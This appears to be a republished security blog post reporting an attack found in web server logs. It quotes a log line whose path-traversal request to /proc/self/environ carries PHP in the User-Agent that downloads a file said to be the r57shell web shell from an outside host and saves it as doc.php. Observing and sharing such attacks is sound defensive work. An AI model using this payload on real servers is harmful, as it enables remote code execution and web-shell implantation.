PHP in the user agent (attacking log analysis tools?)

最新推荐文章于 2025-09-07 00:18:35 发布

cnbird2008

最新推荐文章于 2025-09-07 00:18:35 发布

阅读量739

点赞数

文章标签： php user download google shell file

近期出现一种新型Web攻击方式，攻击者利用User-Agent字段中的PHP脚本尝试从远程服务器下载恶意文件r57shell.php。疑似针对Web统计或日志分析工具进行漏洞利用。

Lately I started to see a few web-based attacks with a php script inside the user agent. Something like this:

a.b.229.82 - - [19/Jan/2010:22:43:39 -0700]
"GET /index.php?page=../../../../../../../../../../../../../../../../../../../../../../../../..
/../../proc/self/environ HTTP/1.1" 200 3820 "-" " < ? echo
'_rce_';echo php_uname();echo '_rce_';$ch=curl_init();curl_setopt($ch, CURLOPT_URL,
'http://websalesusa.com/ken');curl_setopt($ ch, CURLOPT_CONNECTTIMEOUT, 15);curl_setopt($ch,
CURLOPT_TIMEOUT, 15);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$cont=curl_exec($ch);
curl_close($ch);$fh=fopen('doc.php', 'w' );fwrite($fh, $cont);fclose($fh); ?>
"

So, inside the user agent it is starting a PHP script that tries to download the file http://websalesusa.com/ken, which is the r57shell.php.

My guess is that it is trying to exploit a web stats or log analysis tool (like webalizer, google analytics, ossec, etc), but I couldn't find which one is vulnerable to that. Any ideas?

**this is what the r57shell looks like: http://sucuri.net/?page=tools&title=blacklist&seeall=1&detail=eadbf8dc38276dba3df4d6db9608db74